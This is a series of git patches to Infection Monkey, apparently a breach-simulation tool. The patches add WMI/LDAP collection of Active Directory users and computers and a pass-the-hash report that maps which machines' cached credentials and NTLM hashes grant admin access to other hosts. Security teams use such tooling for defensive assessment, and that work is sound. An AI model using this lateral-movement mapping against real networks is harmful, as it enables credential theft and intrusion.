-43,7 +68,23 @@ def fix_obj_for_mongo(o): elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: return fix_wmi_obj_for_mongo(o) + + elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch: + try: + # objectSid property of ds_user is problematic and need thie special treatment. + # ISWbemObjectEx interface. Class Uint8Array ? + if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": + return o.Value + except: + pass + try: + return o.GetObjectText_() + except: + pass + + return repr(o) + else: return repr(o) @@ -83,7 +124,6 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() - self.wmi = None def get_info(self): """ @@ -117,12 +157,18 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name in WMI_CLASSES: self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name) - def get_wmi_class(self, class_name): - if not self.wmi: - self.wmi = wmi.WMI() + for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): + self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) + + def get_wmi_class(self, class_name, moniker="//./root/civ2", properties=None): + _wmi = wmi.WMI(moniker=moniker) try: - wmi_class = getattr(self.wmi, class_name)() + if not properties: + wmi_class = getattr(_wmi, class_name)() + else: + wmi_class = getattr(_wmi, class_name)(properties) + except wmi.x_wmi: #LOG.error("Error getting wmi class '%s'" % (class_name, )) #LOG.error(traceback.format_exc()) From 0ca804d4e3aac821885a715a3e85c31f4f402107 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 15:44:05 +0300 Subject: [PATCH 062/183] add comment --- infection_monkey/system_info/windows_info_collector.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 9e5a77e84..033389b2e 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -28,6 +28,11 @@ WMI_CLASSES = set(["Win32_OperatingSystem", #"Win32_Process", ]) +# These wmi queries are able to return data about all the users & machines in the domain. +# For these queries to work, the monkey shohuld be run on a domain machine and +# +# monkey should run as *** SYSTEM *** !!! +# WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", "DS_objectSid", "DS_objectClass", "DS_memberOf", From 404da6e6d6f1c2f6846e191d61d1e748799f4d29 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 15:48:53 +0300 Subject: [PATCH 063/183] typo --- infection_monkey/system_info/windows_info_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 033389b2e..8a42265a1 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -165,7 +165,7 @@ class WindowsInfoCollector(InfoCollector): for wmi_class_name, props in WMI_LDAP_CLASSES.iteritems(): self.info[wmi_class_name] = self.get_wmi_class(wmi_class_name, "//./root/directory/ldap", props) - def get_wmi_class(self, class_name, moniker="//./root/civ2", properties=None): + def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): _wmi = wmi.WMI(moniker=moniker) try: From 588387a26360159e57e18b2b78578bb8cc8bc5ce Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 16:12:51 +0300 Subject: [PATCH 064/183] typo --- infection_monkey/system_info/windows_info_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 8a42265a1..0d0ae6804 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -45,7 +45,7 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), - "ds_copmuter": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", + "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", "DS_adminDisplayName", "DS_badPasswordTime", "DS_badPwdCount", "DS_cn", "DS_distinguishedName", "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", From 7af6e6473ccee829b95a60a7dedf834333316b24 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 17:05:33 +0300 Subject: [PATCH 065/183] Handle the Win32_GroupUser missing PartCompenent issue --- infection_monkey/system_info/windows_info_collector.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 0d0ae6804..e9e7f71fd 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -100,7 +100,13 @@ def fix_wmi_obj_for_mongo(o): try: value = getattr(o, prop) except wmi.x_wmi: - continue + # This happens in Win32_GroupUser when the user is a domain user. + # For some reason, the wmi query for PartComponent fails. This table + # is actually contains references to Win32_UserAccount and Win32_Group. + # so instead of reading the content to the Win32_UserAccount, we store + # only the id of the row in that table, and get all the other information + # from that table while analyzing the data. + value = o.properties[prop].value row[prop] = fix_obj_for_mongo(value) From e672e26f71043f38cb6492db3a0b9bfa6a57f18c Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 8 May 2018 17:25:46 +0300 Subject: [PATCH 066/183] handle the PartCoponent issue in the report --- monkey_island/cc/resources/pthmap.py | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index fd882a6c6..daf2dab60 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -166,7 +166,7 @@ class Machine(object): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) @cache - def GetSidByUsername(self, username): + def GetSidByUsername(self, username, domain=None): doc = self.latest_system_info for user in doc["data"]["Win32_UserAccount"]: @@ -175,6 +175,9 @@ class Machine(object): if user["SIDType"] != SidTypeUser: continue + + if domain and user["Domain"] != domain: + continue return eval(user["SID"]) @@ -319,10 +322,26 @@ class Machine(object): if "PartComponent" not in group_user.keys(): continue - if group_user["PartComponent"]["SIDType"] != SidTypeUser: - continue + if type(group_user["PartComponent"]) in (str, unicode): + # PartComponent is an id to Win32_UserAccount table + + wmi_id = group_user["PartComponent"] + + if "cimv2:Win32_UserAccount" not in wmi_id: + continue + + # u'\\\\WIN-BFA01FFQFLS\\root\\cimv2:Win32_UserAccount.Domain="MYDOMAIN",Name="WIN-BFA01FFQFLS$"' + username = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] + domain = wmi_id.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-1] + + sid = self.GetSidByUsername(username, domain) + users[sid] = username + + else: + if group_user["PartComponent"]["SIDType"] != SidTypeUser: + continue - users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) return users From b54eb893307cd2592c3c79af627f9d821c082793 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 11:10:32 +0300 Subject: [PATCH 067/183] Add 'Two machines should not share any local admin.' report --- monkey_island/cc/resources/pthmap.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index daf2dab60..af2688f56 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -49,6 +49,9 @@ SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 +def is_group_sid_type(type): + return type in (SidTypeGroup, SidTypeAlias, SidTypeWellKnownGroup) + def myntlm(x): hash = hashlib.new('md4', x.encode('utf-16le')).digest() return str(binascii.hexlify(hash)) @@ -298,8 +301,8 @@ class Machine(object): for group in doc["data"]["Win32_Group"]: if eval(group["Name"]) != group_name: continue - - if group["SIDType"] != SidTypeGroup: + + if not is_group_sid_type(group["SIDType"]): continue return eval(group["SID"]) @@ -316,7 +319,7 @@ class Machine(object): if eval(group_user["GroupComponent"]["SID"]) != sid: continue - if group_user["GroupComponent"]["SIDType"] != SidTypeGroup: + if not is_group_sid_type(group_user["GroupComponent"]["SIDType"]): continue if "PartComponent" not in group_user.keys(): From bad90d35c1d0e71366de50a509f4641d2c510acd Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 12:55:50 +0300 Subject: [PATCH 068/183] FATAL bugfix in cache, better find sid by username --- monkey_island/cc/resources/pthmap.py | 32 ++++++++++++++++++++-------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index af2688f56..a53277e5d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -59,7 +59,7 @@ def myntlm(x): def cache(foo): def hash(o): if type(o) in (int, float, str, unicode): - return o + return repr(o) elif type(o) in (type(None),): return "___None___" @@ -605,7 +605,7 @@ class PassTheHashMap(object): @cache def GenerateEdgesBySid(self): for attacker in self.vertices: - cached = Machine(attacker).GetCachedSids() + cached = self.GetCachedSids(Machine(attacker)) for victim in self.vertices: if attacker == victim: @@ -885,12 +885,31 @@ class PassTheHashMap(object): def GetNonCritialServers(self): return set(self.machines) - self.GetCritialServers() + @cache + def GetCachedSids(self, m): + sids = set() + tmp = m.GetCachedSids() + + for sid in tmp: + if sid.startswith("__USERNAME__"): + + s = self.GetSidsByUsername(sid[len("__USERNAME__"):]) + if len(s) == 1: + sids.add(s.pop()) + else: + sids.add(sid) + + else: + sids.add(sid) + + return sids + @cache def GetThreateningUsersByVictim(self, victim): threatening_users = set() for attacker in self.GetAttackersByVictim(victim): - threatening_users |= (attacker.GetCachedSids() & victim.GetAdmins()) + threatening_users |= (self.GetCachedSids(attacker) & victim.GetAdmins()) return threatening_users @@ -1099,12 +1118,7 @@ def main(): print """

      Cached SIDs

      """ print """

      SIDs cached on this machine

      """ print """
        """ - for sid in m.GetCachedSids(): - if sid.startswith("__USERNAME__"): - sids = pth.GetSidsByUsername(sid[len("__USERNAME__"):]) - if len(sids) == 1: - sid = sids.pop() - + for sid in pth.GetCachedSids(m): print """
      • {username} ({sid})
      • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
      """ From d0ce419ae04672170e9a10e1df6434d84939fe66 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 13:07:19 +0300 Subject: [PATCH 069/183] add GetAttackersBySid --- monkey_island/cc/resources/pthmap.py | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index a53277e5d..68a0c998e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -831,6 +831,16 @@ class PassTheHashMap(object): return set(map(Machine, attackers)) + @cache + def GetAttackersBySid(self, sid): + machines = set() + + for m in self.machines: + if sid in self.GetCachedSids(m): + machines.add(m) + + return machines + @cache def GetVictimsByAttacker(self, attacker): if type(attacker) != unicode: @@ -1166,11 +1176,17 @@ def main():

      Secret: '{secret}'

      """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid), domain=pth.GetSidInfo(sid)["Domain"]) - print """

      Attackable Machines

      """ + print """

      Possible Victims Machines

      """ print """
        """ for m in pth.GetVictimsBySid(sid): print """
      • {ip} ({hostname})
      • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
      """ + + print """

      Possible Attackers Machines

      """ + print """
        """ + for m in pth.GetAttackersBySid(sid): + print """
      • {ip} ({hostname})
      • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
      """ for secret in pth.GetAllSecrets(): print """

      Secret '{secret}'

      """.format(secret=secret) From 3cff5edffeaab34fc6ada4a665752062421115a7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 13:49:23 +0300 Subject: [PATCH 070/183] deepcopy cahced object before returing it --- monkey_island/cc/resources/pthmap.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 68a0c998e..ffb681c75 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -1,5 +1,6 @@ import hashlib import binascii +import copy from pymongo import MongoClient class mongo(object): @@ -106,7 +107,7 @@ def cache(foo): if hashed not in foo._mycache_.keys(): foo._mycache_[hashed] = foo(*args, **kwargs) - return foo._mycache_[hashed] + return copy.deepcopy(foo._mycache_[hashed]) return wrapper From 29e85a868b151e4a00d943471c16b2eee18893e3 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 14:20:09 +0300 Subject: [PATCH 071/183] make attackers more visibile in table --- monkey_island/cc/resources/pthmap.py | 27 +++++++++++++++++++++++---- 1 file changed, 23 insertions(+), 4 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index ffb681c75..f9819dd79 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -120,6 +120,12 @@ class Machine(object): if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] + def __eq__(self, other): + if isinstance(other, self.__class__): + return self.monkey_guid == other.monkey_guid + else: + return False + @cache def GetMimikatzOutput(self): doc = self.latest_system_info @@ -940,6 +946,7 @@ class PassTheHashMap(object): def main(): pth = PassTheHashMap() + print """""" print "

      Pass The Hash Report

      " print "

      Duplicated Passwords

      " @@ -1010,7 +1017,13 @@ def main(): print """
      """ print """
      IpHostnameDomainCritical Services InstalledShared User CountShared Users
        """ - for sid in pth.GetThreateningUsersByVictim(m): + for sid in pth.GetSharedAdmins(m): print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) print """
        """ for sid in pth.GetThreateningUsersByVictim(m): - print """
      • {username}
      • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + print """
      • {username} attackers:
          """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + for mm in pth.GetAttackersBySid(sid): + if m == mm: + continue + print """
        • {ip}
        • """.format(ip=mm.GetIp()) + print """
      • """ print """
      """ @@ -1034,7 +1047,13 @@ def main(): print """
      """ for sid in pth.GetThreateningUsersByVictim(m): - print """
    • {username}
    • """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + print """
    • {username} attackers:
        """.format(sid=sid, username=pth.GetUsernameBySid(sid)) + + for mm in pth.GetAttackersBySid(sid): + if m == mm: + continue + print """
      • {ip}
      • """.format(ip=mm.GetIp()) + print """
    • """ print """
    """ @@ -1177,13 +1196,13 @@ def main():

    Secret: '{secret}'

    """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid), domain=pth.GetSidInfo(sid)["Domain"]) - print """

    Possible Victims Machines

    """ + print """

    Machines the sid is local admin on

    """ print """
      """ for m in pth.GetVictimsBySid(sid): print """
    • {ip} ({hostname})
    • """.format(ip=m.GetIp(), hostname=m.GetHostName()) print """
    """ - print """

    Possible Attackers Machines

    """ + print """

    Machines the sid is in thier cache

    """ print """
      """ for m in pth.GetAttackersBySid(sid): print """
    • {ip} ({hostname})
    • """.format(ip=m.GetIp(), hostname=m.GetHostName()) From 88cb74ce12a8c952b6550bf582cedf37de096bd8 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 14:28:51 +0300 Subject: [PATCH 072/183] hide junk --- monkey_island/cc/resources/pthmap.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f9819dd79..7472a4476 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -946,7 +946,7 @@ class PassTheHashMap(object): def main(): pth = PassTheHashMap() - print """""" + print """""" print "

      Pass The Hash Report

      " print "

      Duplicated Passwords

      " @@ -1058,6 +1058,7 @@ def main(): print """
""" + print """""" if __name__ == "__main__": main() \ No newline at end of file From cec7ef6071c2fa34b2aebaab14a07c126a414c06 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 15:23:16 +0300 Subject: [PATCH 073/183] rename --- monkey_island/cc/resources/{pthmap.py => pthreport.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename monkey_island/cc/resources/{pthmap.py => pthreport.py} (100%) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthreport.py similarity index 100% rename from monkey_island/cc/resources/pthmap.py rename to monkey_island/cc/resources/pthreport.py From cad048119d8493327a0b932c6404e250018d07b4 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 15:26:46 +0300 Subject: [PATCH 074/183] split pth to be able to run standalone and in website --- monkey_island/cc/resources/pthmap.py | 21 +++++++++++++ monkey_island/cc/resources/pthreport.py | 41 ++++++------------------- 2 files changed, 30 insertions(+), 32 deletions(-) create mode 100644 monkey_island/cc/resources/pthmap.py diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py new file mode 100644 index 000000000..c59bb90cd --- /dev/null +++ b/monkey_island/cc/resources/pthmap.py @@ -0,0 +1,21 @@ +import hashlib +import binascii +import copy +import flask_restful +from pthreport import PassTheHashReport + +from cc.auth import jwt_required +from cc.services.edge import EdgeService +from cc.services.node import NodeService +from cc.database import mongo + +class PthMap(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + graph = PassTheHashReport() + + return \ + { + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] + } diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 7472a4476..664732dfb 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1,38 +1,15 @@ import hashlib import binascii import copy -from pymongo import MongoClient -class mongo(object): - db = MongoClient().monkeyisland +if __name__ == "__main__": + from pymongo import MongoClient -#class PthMap(flask_restful.Resource): -class PthMap(object): - #@jwt_required() - def get(self, **kw): - graph = PassTheHashMap() - - return \ - { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] - } - -if not __name__ == "__main__": - import flask_restful - - from cc.auth import jwt_required - from cc.services.edge import EdgeService - from cc.services.node import NodeService + class mongo(object): + db = MongoClient().monkeyisland +else: from cc.database import mongo - PthMapOrig = PthMap - - class PthMap(flask_restful.Resource): - @jwt_required() - def get(self, **kw): - return PthMapOrig.get(self, **kw) - DsRole_RoleStandaloneWorkstation = 0 DsRole_RoleMemberWorkstation = 1 DsRole_RoleStandaloneServer = 2 @@ -88,8 +65,8 @@ def cache(foo): elif type(o) == PthMap: return "PthMapSingleton" - elif type(o) == PassTheHashMap: - return "PassTheHashMapSingleton" + elif type(o) == PassTheHashReport: + return "PassTheHashReportSingleton" else: assert False, "%s of type %s is not hashable" % (repr(o), type(o)) @@ -564,7 +541,7 @@ class Machine(object): return names -class PassTheHashMap(object): +class PassTheHashReport(object): def __init__(self): self.vertices = self.GetAllMachines() @@ -944,7 +921,7 @@ class PassTheHashMap(object): return shared_admins def main(): - pth = PassTheHashMap() + pth = PassTheHashReport() print """""" print "

Pass The Hash Report

" From 0fe5a20a6b6397d4723689b6b9e167c0250835d7 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 15:37:23 +0300 Subject: [PATCH 075/183] fix --- monkey_island/cc/resources/pthreport.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 664732dfb..f3707135c 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -62,8 +62,8 @@ def cache(foo): elif type(o) == Machine: return o.monkey_guid - elif type(o) == PthMap: - return "PthMapSingleton" +# elif type(o) == PthMap: +# return "PthMapSingleton" elif type(o) == PassTheHashReport: return "PassTheHashReportSingleton" From f6ebf0b51c445c491a76dab9f446015101e8e661 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 16:29:02 +0300 Subject: [PATCH 076/183] fix bug not running the edge generation functions due to caching --- monkey_island/cc/resources/pthmap.py | 13 +++++---- monkey_island/cc/resources/pthreport.py | 37 +++++++++++++++++++------ 2 files changed, 36 insertions(+), 14 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index c59bb90cd..5230ef30e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -2,7 +2,7 @@ import hashlib import binascii import copy import flask_restful -from pthreport import PassTheHashReport +from pthreport import PassTheHashReport, Machine from cc.auth import jwt_required from cc.services.edge import EdgeService @@ -12,10 +12,13 @@ from cc.database import mongo class PthMap(flask_restful.Resource): @jwt_required() def get(self, **kw): - graph = PassTheHashReport() - + pth = PassTheHashReport() + + v = copy.deepcopy(pth.vertices) + e = copy.deepcopy(pth.edges) + return \ { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in graph.vertices], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] } diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index f3707135c..313ef6a20 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -542,14 +542,21 @@ class Machine(object): return names class PassTheHashReport(object): + #_instance = None + #def __new__(class_, *args, **kwargs): + # if not class_._instance: + # class_._instance = object.__new__(class_, *args, **kwargs) + # + # return class_._instance + def __init__(self): self.vertices = self.GetAllMachines() - self.edges = set() self.machines = map(Machine, self.vertices) - self.GenerateEdgesBySid() # Useful for non-cached domain users - self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username + self.edges = set() + self.edges |= self.GetEdgesBySid() # Useful for non-cached domain users + self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username @cache def GetAllMachines(self): @@ -587,7 +594,9 @@ class PassTheHashReport(object): return ",\n".join(label) @cache - def GenerateEdgesBySid(self): + def GetEdgesBySid(self): + edges = set() + for attacker in self.vertices: cached = self.GetCachedSids(Machine(attacker)) @@ -599,10 +608,14 @@ class PassTheHashReport(object): if len(cached & admins) > 0: label = self.ReprSidList(cached & admins, attacker, victim) - self.edges.add((attacker, victim, label)) + edges.add((attacker, victim, label)) + + return edges @cache - def GenerateEdgesBySamHash(self): + def GetEdgesBySamHash(self): + edges = set() + for attacker in self.vertices: cached_creds = set(Machine(attacker).GetCachedCreds().items()) @@ -614,10 +627,14 @@ class PassTheHashReport(object): if len(cached_creds & admin_creds) > 0: label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) - self.edges.add((attacker, victim, label)) + edges.add((attacker, victim, label)) + + return edges @cache - def GenerateEdgesByUsername(self): + def GetEdgesByUsername(self): + edges = set() + for attacker in self.vertices: cached = Machine(attacker).GetCachedUsernames() @@ -628,7 +645,9 @@ class PassTheHashReport(object): admins = Machine(victim).GetAdminNames() if len(cached & admins) > 0: - self.edges.add((attacker, victim)) + edges.add((attacker, victim)) + + return edges @cache def Print(self): From 2724e671f7bb502c92ebee9f64077037e35a5ed8 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 16:42:51 +0300 Subject: [PATCH 077/183] try --- monkey_island/cc/resources/pthmap.py | 11 +++++++--- monkey_island/cc/resources/pthreport.py | 22 ++++++++++++++++++- .../components/pages/PassTheHashMapPage.js | 4 +++- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 5230ef30e..05d1bf7ef 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -2,7 +2,7 @@ import hashlib import binascii import copy import flask_restful -from pthreport import PassTheHashReport, Machine +from pthreport import PassTheHashReport, Machine, get_report_html from cc.auth import jwt_required from cc.services.edge import EdgeService @@ -19,6 +19,11 @@ class PthMap(flask_restful.Resource): return \ { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] + "graph": { + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] + }, + + "report_html": get_report_html() } + diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 313ef6a20..30cc83338 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1228,4 +1228,24 @@ def main(): print """
""" if __name__ == "__main__": - main() \ No newline at end of file + main() + + +from cStringIO import StringIO +import sys + +class Capturing(list): + def __enter__(self): + self._stdout = sys.stdout + sys.stdout = self._stringio = StringIO() + return self + def __exit__(self, *args): + self.extend(self._stringio.getvalue().splitlines()) + del self._stringio # free up some memory + sys.stdout = self._stdout + +def get_report_html(): + with Capturing() as output: + main() + + return "\n".join(output) diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 26ce71cc9..d60ce0abb 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -29,6 +29,7 @@ class PassTheHashMapPageComponent extends AuthComponent { super(props); this.state = { graph: {nodes: [], edges: []}, + report_html: "", selected: null, selectedType: null, killPressed: false, @@ -55,7 +56,7 @@ class PassTheHashMapPageComponent extends AuthComponent { this.authFetch('/api/pthmap') .then(res => res.json()) .then(res => { - this.setState({graph: res}); + this.setState({graph: res["graph"], report_html: res["report_html"]}); this.props.onStatusChange(); }); }; @@ -70,6 +71,7 @@ class PassTheHashMapPageComponent extends AuthComponent {
+
{this.state.report_html}
); From c298544f22b0f1f5f350bec8eae9f5a02578275c Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 15 May 2018 16:52:08 +0300 Subject: [PATCH 078/183] Revert "try" This reverts commit 2724e671f7bb502c92ebee9f64077037e35a5ed8. --- monkey_island/cc/resources/pthmap.py | 11 +++------- monkey_island/cc/resources/pthreport.py | 22 +------------------ .../components/pages/PassTheHashMapPage.js | 4 +--- 3 files changed, 5 insertions(+), 32 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 05d1bf7ef..5230ef30e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -2,7 +2,7 @@ import hashlib import binascii import copy import flask_restful -from pthreport import PassTheHashReport, Machine, get_report_html +from pthreport import PassTheHashReport, Machine from cc.auth import jwt_required from cc.services.edge import EdgeService @@ -19,11 +19,6 @@ class PthMap(flask_restful.Resource): return \ { - "graph": { - "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], - "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] - }, - - "report_html": get_report_html() + "nodes": [{"id": x, "label": Machine(x).GetIp()} for x in v], + "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in e] } - diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 30cc83338..313ef6a20 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -1228,24 +1228,4 @@ def main(): print """""" if __name__ == "__main__": - main() - - -from cStringIO import StringIO -import sys - -class Capturing(list): - def __enter__(self): - self._stdout = sys.stdout - sys.stdout = self._stringio = StringIO() - return self - def __exit__(self, *args): - self.extend(self._stringio.getvalue().splitlines()) - del self._stringio # free up some memory - sys.stdout = self._stdout - -def get_report_html(): - with Capturing() as output: - main() - - return "\n".join(output) + main() \ No newline at end of file diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index d60ce0abb..26ce71cc9 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -29,7 +29,6 @@ class PassTheHashMapPageComponent extends AuthComponent { super(props); this.state = { graph: {nodes: [], edges: []}, - report_html: "", selected: null, selectedType: null, killPressed: false, @@ -56,7 +55,7 @@ class PassTheHashMapPageComponent extends AuthComponent { this.authFetch('/api/pthmap') .then(res => res.json()) .then(res => { - this.setState({graph: res["graph"], report_html: res["report_html"]}); + this.setState({graph: res}); this.props.onStatusChange(); 